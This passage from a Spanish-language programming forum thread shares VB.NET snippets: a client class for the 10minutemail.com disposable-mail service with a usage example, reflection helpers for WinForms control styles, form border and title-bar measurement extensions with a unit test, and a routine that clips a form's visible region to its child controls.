  390.    <DebuggerStepThrough>
  391.    Protected Overridable Function GetMessage(ByVal id As String) As MailMessage
  392.  
  393.        Return (From msg As MailMessage In Me.GetMessages()
  394.                Where msg.Headers("msgId").Equals(id, StringComparison.OrdinalIgnoreCase)
  395.               ).Single()
  396.  
  397.    End Function
  398.  
  399.    ''' <summary>
  400.    ''' Gets the inbox messages.
  401.    ''' </summary>
  402.    ''' <returns>
  403.    ''' The inbox messages.
  404.    ''' </returns>
  405.    ''' <exception cref="WebException">
  406.    ''' You have requested too many temporary mail addresses from your IP address too quickly.
  407.    ''' Please wait some minutes and try again.
  408.    ''' </exception>
  409.    <DebuggerStepThrough>
  410.    Protected Overridable Iterator Function GetMessages() As IEnumerable(Of MailMessage) Implements IDisposableMail.GetMessages
  411.        If (Me.IsBlocked) Then
  412.            Throw New WebException("You have requested too many temporary mail addresses from your IP address too quickly. Please wait some minutes and try again.")
  413.        End If
  414.  
  415.        If (Me.GetMessageCount = 0) Then
  416.            Exit Function
  417.        End If
  418.  
  419.        SyncLock (Me.Client)
  420.  
  421.            Dim src As Byte() = Me.Client.DownloadData(Me.uriMessages)
  422.            Using xmlReader As XmlDictionaryReader =
  423.              JsonReaderWriterFactory.CreateJsonReader(src, 0, src.Length, Encoding.UTF8, New XmlDictionaryReaderQuotas, Nothing)
  424.  
  425.                Dim xml As XElement = XElement.Load(xmlReader)
  426.                If (xml Is Nothing) Then
  427.                    Exit Function
  428.                End If
  429.  
  430.                For Each item As XElement In xml.Elements("item")
  431.  
  432.                    Dim recipientList As XElement = item.<recipientList>.Single()
  433.                    Dim primaryFromAddress As String = item.<primaryFromAddress>.Value
  434.                    Dim subject As String = item.<subject>.Value
  435.                    Dim body As String = item.<bodyText>.Value
  436.                    ' Get the message id. to identify and reply the message:
  437.                    Dim id As String = item.<id>.Value
  438.  
  439.                    ' ToDO: attachment support.
  440.                    ' Dim attachmentCount As Integer = Convert.ToInt32(item.<attachmentCount>.Value)
  441.                    ' Dim attachments As XElement = item.<attachments>.Single()
  442.                    ' ...
  443.                    ' MailMessage.Attachments.Add(New Attachment( ... , MediaTypeNames.Application.Octet))
  444.  
  445.                    Dim msg As New MailMessage()
  446.                    With msg
  447.                        .BodyEncoding = Encoding.UTF8
  448.                        ' .HeadersEncoding = Encoding.UTF8
  449.                        .SubjectEncoding = Encoding.UTF8
  450.  
  451.                        .Headers.Add("msgId", id) ' store the message id. in the headers.
  452.                        .From = New MailAddress(primaryFromAddress, "primaryFromAddress", Encoding.UTF8)
  453.                        .Subject = subject
  454.                        .IsBodyHtml = True
  455.                        .Body = body
  456.                    End With
  457.  
  458.                    For Each recipient As XElement In recipientList.Elements("item")
  459.                        msg.To.Add(New MailAddress(recipient.Value))
  460.                    Next recipient
  461.  
  462.                    Yield msg
  463.  
  464.                Next item
  465.  
  466.            End Using
  467.  
  468.        End SyncLock
  469.    End Function
  470.  
  471.    ''' <summary>
  472.    ''' Gets the time left to expire the current temporary mail address.
  473.    ''' </summary>
  474.    ''' <returns>
  475.    ''' The time left to expire the current temporary mail address.
  476.    ''' </returns>
  477.    <DebuggerStepThrough>
  478.    Protected Overridable Function GetExpirationTime() As TimeSpan Implements IDisposableMail.GetExpirationTime
  479.        Throw New NotImplementedException("The implementation is not necessary for 10minutemail.com service.")
  480.    End Function
  481.  
  482.    ''' <summary>
  483.    ''' Gets a value indicating whether the current temporary mail is blocked.
  484.    ''' <para></para>
  485.    ''' If <see langword="True"/>,
  486.    ''' this means you have requested too many temporary mail addresses from your IP address too quickly.
  487.    ''' <para></para>
  488.    ''' And you must wait some minutes to be able use 10minutemail.com service again.
  489.    ''' </summary>
  490.    ''' <returns>
  491.    ''' <para></para>
  492.    ''' If <see langword="True"/>,
  493.    ''' this means you have requested too many temporary mail addresses from your IP address too quickly.
  494.    ''' <para></para>
  495.    ''' And you must wait some minutes to be able use 10minutemail.com service again.
  496.    ''' </returns>
  497.    <DebuggerStepThrough>
  498.    Protected Overridable Function GetIsBlocked() As Boolean
  499.        SyncLock (Me.Client)
  500.            Dim value As String = Me.Client.DownloadString(Me.uriBlocked)
  501.            Return CBool(value)
  502.        End SyncLock
  503.    End Function
  504.  
  505.    ''' <summary>
  506.    ''' Renews the life-time for the current temporary mail address.
  507.    ''' </summary>
  508.    ''' <exception cref="WebException">
  509.    ''' You have requested too many temporary mail addresses from your IP address too quickly.
  510.    ''' Please wait some minutes and try again.
  511.    ''' </exception>
  512.    '''
  513.    ''' <exception cref="NotSupportedException">
  514.    ''' Unexpected response value: '{value}'
  515.    ''' </exception>
  516.    <DebuggerStepThrough>
  517.    Protected Overridable Sub Renew() Implements IDisposableMail.Renew
  518.        If (Me.IsBlocked) Then
  519.            Throw New WebException("You have requested too many temporary mail addresses from your IP address too quickly. Please wait some minutes and try again.")
  520.        End If
  521.  
  522.        SyncLock (Me.Client)
  523.            Dim value As String = Me.Client.DownloadString(Me.uriReset)
  524.            If Not (value.Equals("reset", StringComparison.OrdinalIgnoreCase)) Then
  525.                Throw New NotSupportedException(String.Format("Unexpected response value: '{0}'", value))
  526.            End If
  527.        End SyncLock
  528.    End Sub
  529.  
  530.    ''' <summary>
  531.    ''' Handles the calls from <see cref="TenMinuteMail.TimerUpdate"/>.
  532.    ''' </summary>
  533.    ''' <param name="state">
  534.    ''' An object containing application-specific information relevant to the
  535.    ''' method invoked by this delegate, or <see langword="Nothing"/>.
  536.    ''' </param>
  537.    Protected Overridable Sub UpdateTimer_CallBack(ByVal state As Object)
  538.  
  539.        If (Me.Client.IsBusy) Then
  540.            Exit Sub
  541.        End If
  542.  
  543.        SyncLock (Me.Client)
  544.            Me.Renew()
  545.  
  546.            Dim oldMsgCount As Integer = Me.messageCounter
  547.            Dim newMsgCount As Integer = Me.GetMessageCount()
  548.  
  549.            If (newMsgCount > oldMsgCount) Then
  550.                Me.messageCounter = newMsgCount
  551.                Dim messages As IEnumerable(Of MailMessage) = Me.GetMessages()
  552.  
  553.                For msgIndex As Integer = oldMsgCount To (newMsgCount - 1)
  554.                    Me.OnMailMessageArrived(New MailMessageArrivedEventArgs(messages(msgIndex)))
  555.                Next msgIndex
  556.            End If
  557.        End SyncLock
  558.  
  559.    End Sub
  560.  
  561. #End Region
  562.  
  563. #Region " Event Invocators "
  564.  
  565.    ''' <summary>
  566.    ''' Raises the <see cref="TenMinuteMail.MailMessageArrived"/> event.
  567.    ''' </summary>
  568.    ''' <param name="e">
  569.    ''' The <see cref="MailMessageArrivedEventArgs"/> instance containing the event data.
  570.    ''' </param>
  571.    Protected Overridable Sub OnMailMessageArrived(ByVal e As MailMessageArrivedEventArgs)
  572.  
  573.        If (Me.MailMessageArrivedEvent IsNot Nothing) Then
  574.            RaiseEvent MailMessageArrived(Me, e)
  575.        End If
  576.  
  577.    End Sub
  578.  
  579. #End Region
  580.  
  581. #Region " IDisposable Implementation "
  582.  
  583.    ''' <summary>
  584.    ''' Flag to detect redundant calls when disposing.
  585.    ''' </summary>
  586.    Protected isDisposed As Boolean
  587.  
  588.    ''' <summary>
  589.    ''' Releases all the resources used by this instance.
  590.    ''' </summary>
  591.    <DebuggerStepThrough>
  592.    Public Sub Dispose() Implements IDisposable.Dispose
  593.        Me.Dispose(isDisposing:=True)
  594.        GC.SuppressFinalize(obj:=Me)
  595.    End Sub
  596.  
  597.    ''' <summary>
  598.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  599.    ''' Releases unmanaged and, optionally, managed resources.
  600.    ''' </summary>
  601.    ''' <param name="isDisposing">
  602.    ''' <see langword="True"/>  to release both managed and unmanaged resources;
  603.    ''' <see langword="False"/> to release only unmanaged resources.
  604.    ''' </param>
  605.    Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
  606.        If Not (Me.isDisposed) AndAlso (isDisposing) Then
  607.            Me.MailMessageArrivedEvent = Nothing
  608.  
  609.            Me.TimerUpdate.Dispose()
  610.            Me.TimerUpdate = Nothing
  611.  
  612.            Me.Client.Dispose()
  613.            Me.Client = Nothing
  614.  
  615.            Me.mailAddressB = Nothing
  616.            Me.messageCounter = 0
  617.            Me.isBlockedB = False
  618.  
  619.            Me.uriAddress = Nothing
  620.            Me.uriBase = Nothing
  621.            Me.uriBlocked = Nothing
  622.            Me.uriMessageCount = Nothing
  623.            Me.uriMessages = Nothing
  624.            Me.uriReply = Nothing
  625.            Me.uriReset = Nothing
  626.            Me.uriSecondsLeft = Nothing
  627.        End If
  628.  
  629.        Me.isDisposed = True
  630.    End Sub
  631.  
  632. #End Region
  633.  
  634. End Class
  635.  
  636. #End Region



MODO DE EMPLEO

Un ejemplo simple para crear la dirección temporal y controlar la recepción de nuevos correos entrantes...

Código
  1. Imports System.Net.Mail
  2. Imports System.Text
  3.  
  4. Public NotInheritable Class Form1
  5.  
  6.    Private WithEvents TempMail As TenMinuteMail
  7.  
  8.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  9.        Me.TempMail = New TenMinuteMail(TimeSpan.FromSeconds(10)) ' Set inbox notification interval to 10 sec.
  10.        Console.WriteLine(String.Format("Your 10MinuteMail Address: '{0}'", Me.TempMail.MailAddress.Address))
  11.    End Sub
  12.  
  13.    ''' ----------------------------------------------------------------------------------------------------
  14.    ''' <summary>
  15.    ''' Handles the <see cref="TenMinuteMail.MailMessageArrived"/> event of the <see cref="Form1.TempMail"/> object.
  16.    ''' </summary>
  17.    ''' ----------------------------------------------------------------------------------------------------
  18.    ''' <param name="sender">
  19.    ''' The source of the event.
  20.    ''' </param>
  21.    '''
  22.    ''' <param name="e">
  23.    ''' The <see cref="MailMessageArrivedEventArgs"/> instance containing the event data.
  24.    ''' </param>
  25.    ''' ----------------------------------------------------------------------------------------------------
  26.    Private Sub TempMail_MailMessageArrived(ByVal sender As Object, ByVal e As MailMessageArrivedEventArgs) _
  27.    Handles TempMail.MailMessageArrived
  28.  
  29.        Dim sb As New StringBuilder()
  30.        With sb
  31.            .AppendLine()
  32.            .AppendLine("NEW MAIL MESSAGE ARRIVED")
  33.            .AppendLine("************************")
  34.            .AppendLine()
  35.            .AppendLine(String.Format("From...: {0}", e.MailMessage.From.Address))
  36.            .AppendLine(String.Format("To.....: {0}", String.Join(";", (From msg As MailAddress In e.MailMessage.To))))
  37.            .AppendLine(String.Format("Subject: {0}", e.MailMessage.Subject))
  38.            .AppendLine(String.Format("Msg.Id.: {0}", e.MailMessage.Headers("msgId")))
  39.            .AppendLine()
  40.            .AppendLine("-------BODY START-------")
  41.            .AppendLine(e.MailMessage.Body)
  42.            .AppendLine("-------BODY END---------")
  43.        End With
  44.  
  45.        Console.WriteLine(sb.ToString())
  46.  
  47.    End Sub
  48.  
  49. End Class

En el ejemplo provisto, el formato a mostrar cuando se recibe un nuevo correo sería algo parecido a esto:

Código:
NEW MAIL MESSAGE ARRIVED
************************

From...: elektrostudios@elhacker.net
To.....: z421459@mvrht.net
Subject: Hello Sir.
Msg.Id.: 6443119781926234531

-------BODY START-------
Hello World!
<br />
<br />
-------BODY END---------

nota: el cuerpo del mensaje se devuelve en formato HTML.

EDITO:
Para responder a un e-mail simplemente deben usar el método TenMinuteMail.Reply pasándole como argumento la instancia del mensaje al que quieren responder, o en su defecto un identificador de mensaje, el cual lo puede encontrar almacenado en la cabecera de un mensaje: MailMessage.Headers("msgId")

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 21 Febrero 2018, 12:48 pm
Un simple snippet donde se hace uso de Reflection para obtener los estilos de control aplicados en un tipo de control específico.

Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <summary>
  3.    ''' Gets the value of the specified control style bit for the specified control.
  4.    ''' </summary>
  5.    ''' ----------------------------------------------------------------------------------------------------
  6.    ''' <param name="ctrl">
  7.    ''' The source <see cref="Control"/>.
  8.    ''' </param>
  9.    '''
  10.    ''' <param name="styles">
  11.    ''' The <see cref="ControlStyles"/> bit to return the value from.
  12.    ''' </param>
  13.    ''' ----------------------------------------------------------------------------------------------------
  14.    ''' <returns>
  15.    ''' <see langword="True"/> if the specified control style bit is set to <see langword="True"/>;
  16.    ''' otherwise, <see langword="False"/>.
  17.    ''' </returns>
  18.    ''' ----------------------------------------------------------------------------------------------------
  19.    Public Shared Function GetControlStyle(ByVal ctrl As Control, ByVal styles As ControlStyles) As Boolean
  20.  
  21.        Dim t As Type = ctrl.GetType()
  22.        Dim method As MethodInfo = t.GetMethod("GetStyle", BindingFlags.NonPublic Or BindingFlags.Instance)
  23.  
  24.        Return CBool(method.Invoke(ctrl, {styles}))
  25.  
  26.    End Function

Con esto podemos determinar, por ejemplo, si un control acepta transparencia:

Código
  1. dim value as boolean = GetControlStyle(Me.ListView1, ControlStyles.SupportsTransparentBackColor)



Otro snippet, para hacer lo opuesto, es decir, establecer el valor de un estilo de control:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Sets a specified <see cref="ControlStyles"/> flag to
  4. ''' either <see langword="True"/> or <see langword="False"/> for the source control.
  5. ''' </summary>
  6. ''' ----------------------------------------------------------------------------------------------------
  7. ''' <param name="ctrl">
  8. ''' The source <see cref="Control"/>.
  9. ''' </param>
  10. '''
  11. ''' <param name="style">
  12. ''' The <see cref="ControlStyles"/> bit to set.
  13. ''' </param>
  14. '''
  15. ''' <param name="value">
  16. ''' <see langword="True"/> to apply the specified style to the control; otherwise, <see langword="False"/>.
  17. ''' </param>
  18. ''' ----------------------------------------------------------------------------------------------------
  19. <DebuggerStepThrough>
  20. Public Shared Sub SetControlStyle(ByVal ctrl As Control, ByVal style As ControlStyles, ByVal value As Boolean)
  21.  
  22.    Dim t As Type = ctrl.GetType()
  23.    Dim method As MethodInfo = t.GetMethod("SetStyle", BindingFlags.NonPublic Or BindingFlags.Instance)
  24.  
  25.    method.Invoke(ctrl, {style, value})
  26.  
  27. End Sub


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 22 Febrero 2018, 19:31 pm
Unas extensiones de método para obtener el ancho y alto del borde horizontal y vertical de un Form. Y también para obtener el tamaño de la barra de título (plus la opción de incluir el tamaño de los bordes de la ventana o no):

Código
  1. <HideModuleName>
  2. Public Module FormExtensions
  3.  
  4.    ''' ----------------------------------------------------------------------------------------------------
  5.    ''' <summary>
  6.    ''' Gets the size of the vertical border (the border of the left or right edge) of the source <see cref="Form"/>.
  7.    ''' </summary>
  8.    ''' ----------------------------------------------------------------------------------------------------
  9.    ''' <example> This is a code example.
  10.    ''' <code>
  11.    ''' Dim verticalBorderSize As Size = GetVerticalBorderSize(Me)
  12.    ''' Console.WriteLine(String.Format("Vertical Border Width  = {0}", verticalBorderSize.Width))
  13.    ''' Console.WriteLine(String.Format("Vertical Border Height = {0}", verticalBorderSize.Height))
  14.    ''' </code>
  15.    ''' </example>
  16.    ''' ----------------------------------------------------------------------------------------------------
  17.    ''' <param name="f">
  18.    ''' The source <see cref="Form"/>.
  19.    ''' </param>
  20.    ''' ----------------------------------------------------------------------------------------------------
  21.    ''' <returns>
  22.    ''' The size of the vertical border (the border of the left or right edge) of the source <see cref="Form"/>.
  23.    ''' </returns>
  24.    ''' ----------------------------------------------------------------------------------------------------
  25.    <Extension>
  26.    <EditorBrowsable(EditorBrowsableState.Always)>
  27.    <DebuggerStepThrough>
  28.    Public Function GetVerticalBorderSize(ByVal f As Form) As Size
  29.  
  30.        Select Case f.FormBorderStyle
  31.  
  32.            Case FormBorderStyle.None
  33.                Return Size.Empty
  34.  
  35.            Case FormBorderStyle.Fixed3D
  36.                Return New Size(SystemInformation.FixedFrameBorderSize.Width + SystemInformation.Border3DSize.Width,
  37.                                f.Height)
  38.  
  39.            Case FormBorderStyle.FixedDialog, FormBorderStyle.FixedSingle, FormBorderStyle.FixedToolWindow
  40.                Return New Size(SystemInformation.FixedFrameBorderSize.Width,
  41.                                f.Height)
  42.  
  43.            Case Else
  44.                Return New Size(SystemInformation.FrameBorderSize.Width,
  45.                                f.Height)
  46.  
  47.        End Select
  48.  
  49.    End Function
  50.  
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    ''' <summary>
  53.    ''' Gets the size of the horizontal border (the border of the top or bottom edge) of the source <see cref="Form"/>.
  54.    ''' </summary>
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    ''' <example> This is a code example.
  57.    ''' <code>
  58.    ''' Dim horizontalBorderSize As Size = GetHorizontalBorderSize(Me)
  59.    ''' Console.WriteLine(String.Format("Horizontal Border Width  = {0}", horizontalBorderSize.Width))
  60.    ''' Console.WriteLine(String.Format("Horizontal Border Height = {0}", horizontalBorderSize.Height))
  61.    ''' </code>
  62.    ''' </example>
  63.    ''' ----------------------------------------------------------------------------------------------------
  64.    ''' <param name="f">
  65.    ''' The source <see cref="Form"/>.
  66.    ''' </param>
  67.    ''' ----------------------------------------------------------------------------------------------------
  68.    ''' <returns>
  69.    ''' The size of the horizontal border (the border of the top or bottom edge) of the source <see cref="Form"/>.
  70.    ''' </returns>
  71.    ''' ----------------------------------------------------------------------------------------------------
  72.    <Extension>
  73.    <EditorBrowsable(EditorBrowsableState.Always)>
  74.    <DebuggerStepThrough>
  75.    Public Function GetHorizontalBorderSize(ByVal f As Form) As Size
  76.  
  77.        Select Case f.FormBorderStyle
  78.  
  79.            Case FormBorderStyle.None
  80.                Return Size.Empty
  81.  
  82.            Case FormBorderStyle.Fixed3D
  83.                Return New Size(f.Width,
  84.                                SystemInformation.FixedFrameBorderSize.Height + SystemInformation.Border3DSize.Height)
  85.  
  86.            Case FormBorderStyle.FixedDialog, FormBorderStyle.FixedSingle, FormBorderStyle.FixedToolWindow
  87.                Return New Size(f.Width,
  88.                                SystemInformation.FixedFrameBorderSize.Height)
  89.  
  90.            Case Else
  91.                Return New Size(f.Width,
  92.                                SystemInformation.FrameBorderSize.Height)
  93.  
  94.        End Select
  95.  
  96.    End Function
  97.  
  98.    ''' ----------------------------------------------------------------------------------------------------
  99.    ''' <summary>
  100.    ''' Gets the titlebar bounds of the source <see cref="Form"/>.
  101.    ''' </summary>
  102.    ''' ----------------------------------------------------------------------------------------------------
  103.    ''' <example> This is a code example.
  104.    ''' <code>
  105.    ''' Dim titleBarBoundsWithBorders As Rectangle = GetTitleBarBounds(Me, includeBorderSizes:=True)
  106.    ''' Console.WriteLine(String.Format("TitleBar Bounds (including borders) Width  = {0}", titleBarBoundsWithBorders.Width))
  107.    ''' Console.WriteLine(String.Format("TitleBar Bounds (including borders) Height = {0}", titleBarBoundsWithBorders.Height))
  108.    ''' Console.WriteLine(String.Format("TitleBar Bounds (including borders) Pos. X = {0}", titleBarBoundsWithBorders.X))
  109.    ''' Console.WriteLine(String.Format("TitleBar Bounds (including borders) Pos. Y = {0}", titleBarBoundsWithBorders.Y))
  110.    '''
  111.    ''' Dim titleBarBoundsWithoutBorders As Rectangle = GetTitleBarBounds(Me, includeBorderSizes:=False)
  112.    ''' Console.WriteLine(String.Format("TitleBar Bounds (not including borders) Width  = {0}", titleBarBoundsWithoutBorders.Width))
  113.    ''' Console.WriteLine(String.Format("TitleBar Bounds (not including borders) Height = {0}", titleBarBoundsWithoutBorders.Height))
  114.    ''' Console.WriteLine(String.Format("TitleBar Bounds (not including borders) Pos. X = {0}", titleBarBoundsWithoutBorders.X))
  115.    ''' Console.WriteLine(String.Format("TitleBar Bounds (not including borders) Pos. Y = {0}", titleBarBoundsWithoutBorders.Y))
  116.    ''' </code>
  117.    ''' </example>
  118.    ''' ----------------------------------------------------------------------------------------------------
  119.    ''' <param name="f">
  120.    ''' The source <see cref="Form"/>.
  121.    ''' </param>
  122.    '''
  123.    ''' <param name="includeBorderSizes">
  124.    ''' If <see langword="True"/>, the titlebar bounds will include the bounds of the top, left and right border edges.
  125.    ''' <para></para>
  126.    ''' If <see langword="False"/>, the titlebar bounds will NOT include the bounds of the top, left and right border edges.
  127.    ''' </param>
  128.    ''' ----------------------------------------------------------------------------------------------------
  129.    ''' <returns>
  130.    ''' The titlebar bounds (including the border sizes) of the source <see cref="Form"/>.
  131.    ''' </returns>
  132.    ''' ----------------------------------------------------------------------------------------------------
  133.    <Extension>
  134.    <EditorBrowsable(EditorBrowsableState.Always)>
  135.    <DebuggerStepThrough>
  136.    Public Function GetTitleBarBounds(ByVal f As Form, ByVal includeBorderSizes As Boolean) As Rectangle
  137.  
  138.        If (includeBorderSizes) Then
  139.            Select Case f.FormBorderStyle
  140.  
  141.                Case FormBorderStyle.None
  142.                    Return Rectangle.Empty
  143.  
  144.                Case FormBorderStyle.Fixed3D
  145.                    Return New Rectangle(New Point(0, 0),
  146.                                         New Size(f.Width, SystemInformation.CaptionHeight + SystemInformation.FixedFrameBorderSize.Height + SystemInformation.Border3DSize.Height))
  147.  
  148.                Case FormBorderStyle.FixedToolWindow
  149.                    Return New Rectangle(New Point(0, 0),
  150.                                         New Size(f.Width, SystemInformation.ToolWindowCaptionHeight + SystemInformation.FixedFrameBorderSize.Height))
  151.  
  152.                Case FormBorderStyle.SizableToolWindow
  153.                    Return New Rectangle(New Point(0, 0),
  154.                                         New Size(f.Width, SystemInformation.ToolWindowCaptionHeight + SystemInformation.FrameBorderSize.Height))
  155.  
  156.                Case FormBorderStyle.FixedDialog, FormBorderStyle.FixedSingle
  157.                    Return New Rectangle(New Point(0, 0),
  158.                                         New Size(f.Width, SystemInformation.CaptionHeight + SystemInformation.FixedFrameBorderSize.Height))
  159.  
  160.                Case Else
  161.                    Return New Rectangle(New Point(0, 0),
  162.                                         New Size(f.Width, SystemInformation.CaptionHeight + SystemInformation.FrameBorderSize.Height))
  163.  
  164.            End Select
  165.  
  166.        Else
  167.            Dim verticalBorderSize As Size = FormExtensions.GetVerticalBorderSize(f)
  168.            Dim horizontalBorderSize As Size = FormExtensions.GetHorizontalBorderSize(f)
  169.  
  170.            Select Case f.FormBorderStyle
  171.  
  172.                Case FormBorderStyle.None
  173.                    Return Rectangle.Empty
  174.  
  175.                Case FormBorderStyle.FixedToolWindow, FormBorderStyle.SizableToolWindow
  176.                    Return New Rectangle(New Point(verticalBorderSize.Width, horizontalBorderSize.Height),
  177.                                     New Size(f.ClientRectangle.Width, SystemInformation.ToolWindowCaptionHeight))
  178.  
  179.                Case Else
  180.                    Return New Rectangle(New Point(verticalBorderSize.Width, horizontalBorderSize.Height),
  181.                                     New Size(f.ClientRectangle.Width, SystemInformation.CaptionHeight))
  182.  
  183.            End Select
  184.  
  185.        End If
  186.  
  187.    End Function
  188.  
  189. End Module

Lo he probado con todos los tipos de estilos de form, y temas de terceros, parece funcionar correctamente en todos los casos, pero no descarto quizás haber cometido algún error en alguno de los cálculos de algún estilo de form, si encuentran algo me avisan.

Aquí les dejo un test de unidad que utilicé:

Código
  1. <TestMethod()>
  2. Public Sub TestNonClientAreaMeasures()
  3.  
  4.    Using f As New Form With {.Size = New Size(100, 100)}
  5.  
  6.        For Each style As FormBorderStyle In [Enum].GetValues(GetType(FormBorderStyle))
  7.  
  8.            Console.WriteLine(String.Format("Testing form border style: {0}", style.ToString()))
  9.            If (style = FormBorderStyle.None) Then
  10.                ' Zero border size and no title bar, so nothing to do here.
  11.                Continue For
  12.            End If
  13.  
  14.            f.FormBorderStyle = style
  15.            f.Show()
  16.  
  17.            Dim titlebarBounds As Rectangle = FormExtensions.GetTitleBarBounds(f, True) ' includes border bounds.
  18.            Dim titlebarBoundsWitoutBorders As Rectangle = FormExtensions.GetTitleBarBounds(f, False) ' not includes border bounds.
  19.  
  20.            Dim verticalBorderSize As Size = FormExtensions.GetVerticalBorderSize(f)
  21.            Dim horizontalBorderSize As Size = FormExtensions.GetHorizontalBorderSize(f)
  22.  
  23.            Dim formSize As Size = f.Bounds.Size ' includes non-client size.
  24.            Dim formClientSize As Size = f.ClientRectangle.Size ' client size only.
  25.            Dim formNonClientSize As New Size((formSize.Width - formClientSize.Width), ' non-client size only.
  26.                                          (formSize.Height - formClientSize.Height))
  27.  
  28.            Assert.AreEqual(formNonClientSize.Width, (verticalBorderSize.Width * 2),
  29.                        Environment.NewLine & Environment.NewLine &
  30.                        String.Format("Value of '{0} * 2' ({1}) and '{2}' ({3}) are not equal.",
  31.                                      "verticalBorderSize.Width", (verticalBorderSize.Width * 2),
  32.                                      "formNonClientSize.Width", formNonClientSize.Width))
  33.  
  34.            Assert.AreEqual(formClientSize.Width, titlebarBoundsWitoutBorders.Width,
  35.                        Environment.NewLine & Environment.NewLine &
  36.                        String.Format("Value of '{0}' ({1}) and '{2}' ({3}) are not equal.",
  37.                                      "titlebarBoundsWitoutBorders.Width", titlebarBoundsWitoutBorders.Width,
  38.                                      "formClientSize.Width", formClientSize.Width))
  39.  
  40.            Assert.AreEqual(formSize.Width, titlebarBounds.Width,
  41.                        Environment.NewLine & Environment.NewLine &
  42.                        String.Format("Value of '{0}' ({1}) and '{2}' ({3}) are not equal.",
  43.                                      "titlebarBounds.Width", titlebarBounds.Width,
  44.                                      "formSize.Width", formSize.Width))
  45.  
  46.            Assert.AreEqual(titlebarBounds.Height, (titlebarBoundsWitoutBorders.Height + horizontalBorderSize.Height),
  47.                        Environment.NewLine & Environment.NewLine &
  48.                        String.Format("Sum of '{0} + {1}' ({2}) and '{3}' ({4}) are not equal.",
  49.                                      "titlebarBoundsWitoutBorders.Height", "horizontalBorderSize.Height",
  50.                                      (titlebarBoundsWitoutBorders.Height + horizontalBorderSize.Height),
  51.                                      "titlebarBounds.Height", titlebarBounds.Height))
  52.  
  53.            Assert.AreEqual(formSize.Height, formClientSize.Height + titlebarBoundsWitoutBorders.Height + (horizontalBorderSize.Height * 2),
  54.                        Environment.NewLine & Environment.NewLine &
  55.                        String.Format("Sum of '{0} + {1} + ({2} * 2)' ({3}) and '{4}' ({5}) are not equal.",
  56.                                      "formClientSize.Height", "titlebarBoundsWitoutBorders.Height", "horizontalBorderSize.Height",
  57.                                      formClientSize.Height + titlebarBoundsWitoutBorders.Height + (horizontalBorderSize.Height * 2),
  58.                                      "formSize.Height", formSize.Height))
  59.  
  60.            Assert.AreEqual(formNonClientSize.Height, (titlebarBounds.Height + horizontalBorderSize.Height),
  61.                        Environment.NewLine & Environment.NewLine &
  62.                        String.Format("Sum of '{0} + {1}' ({2}) and '{3}' ({4}) are not equal.",
  63.                                      "titlebarBounds.Height", "horizontalBorderSize.Height",
  64.                                      (titlebarBounds.Height + horizontalBorderSize.Height),
  65.                                      "formNonClientSize.Height", formNonClientSize.Height))
  66.  
  67.            f.Hide()
  68.        Next style
  69.  
  70.    End Using
  71.  
  72. End Sub



Este método sirve para 'bloquear' la región visible de un Form, a los límites visibles de los controles hijos. El resultado es un Form con un fondo invisible y los controles visibles. Añadí una sobrecarga para poder especificar el tipo de control.

IMPORTANTE: este código utiliza las extensiones de método del módulo FormExtensions que compartí en este comentario más arriba... así que no se olviden de copiar ese código.

Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <summary>
  3.    ''' Locks the window region of the specified <see cref="Form"/> to the bounds of its child controls.
  4.    ''' </summary>
  5.    ''' ----------------------------------------------------------------------------------------------------
  6.    ''' <example> This is a code example.
  7.    ''' <code>
  8.    ''' LockFormRegionToControls(Me)
  9.    ''' </code>
  10.    ''' </example>
  11.    ''' ----------------------------------------------------------------------------------------------------
  12.    ''' <param name="f">
  13.    ''' The source <see cref="Form"/>.
  14.    ''' </param>
  15.    ''' ----------------------------------------------------------------------------------------------------
  16.    ''' <exception cref="NotImplementedException">
  17.    ''' </exception>
  18.    ''' ----------------------------------------------------------------------------------------------------
  19.    Public Shared Sub LockFormRegionToControls(ByVal f As Form)
  20.  
  21.        LockFormRegionToControls(Of Control)(f)
  22.  
  23.    End Sub
  24.  
  25.    ''' ----------------------------------------------------------------------------------------------------
  26.    ''' <summary>
  27.    ''' Locks the window region of the specified <see cref="Form"/> to the bounds of its child controls
  28.    ''' of the specified <see cref="Type"/>.
  29.    ''' </summary>
  30.    ''' ----------------------------------------------------------------------------------------------------
  31.    ''' <example> This is a code example.
  32.    ''' <code>
  33.    ''' LockFormRegionToControls(Of Button)(Me)
  34.    ''' </code>
  35.    ''' </example>
  36.    ''' ----------------------------------------------------------------------------------------------------
  37.    ''' <typeparam name="T">
  38.    ''' The <see cref="Type"/> of control.
  39.    ''' </typeparam>
  40.    '''
  41.    ''' <param name="f">
  42.    ''' The source <see cref="Form"/>.
  43.    ''' </param>
  44.    ''' ----------------------------------------------------------------------------------------------------
  45.    ''' <exception cref="NotImplementedException">
  46.    ''' </exception>
  47.    ''' ----------------------------------------------------------------------------------------------------
  48.    Public Shared Sub LockFormRegionToControls(Of T As Control)(ByVal f As Form)
  49.  
  50.        Select Case f.FormBorderStyle
  51.  
  52.            Case FormBorderStyle.FixedToolWindow, FormBorderStyle.SizableToolWindow
  53.                Throw New NotImplementedException()
  54.  
  55.            Case Else
  56.                Dim vBorderSize As Size = FormExtensions.GetVerticalBorderSize(f)
  57.                Dim tbBounds As Rectangle = FormExtensions.GetTitleBarBounds(f, includeBorderSizes:=True)
  58.  
  59.                Dim rects As IEnumerable(Of Rectangle) =
  60.                    (From ctrl As T In f.Controls.OfType(Of T)()
  61.                     Order By f.Controls.GetChildIndex(ctrl) Ascending
  62.                     Select ctrl.Bounds)
  63.  
  64.                Using rgn As New Region(New Rectangle(0, 0, f.Width, f.Height))
  65.                    rgn.MakeEmpty()
  66.  
  67.                    For Each rect As Rectangle In rects
  68.                        rgn.Union(rect)
  69.                    Next rect
  70.                    rgn.Translate(vBorderSize.Width, tbBounds.Height)
  71.  
  72.                    If (f.Region IsNot Nothing) Then
  73.                        f.Region.Dispose()
  74.                    End If
  75.                    f.Region = rgn
  76.                End Using
  77.  
  78.        End Select
  79.  
  80.    End Sub


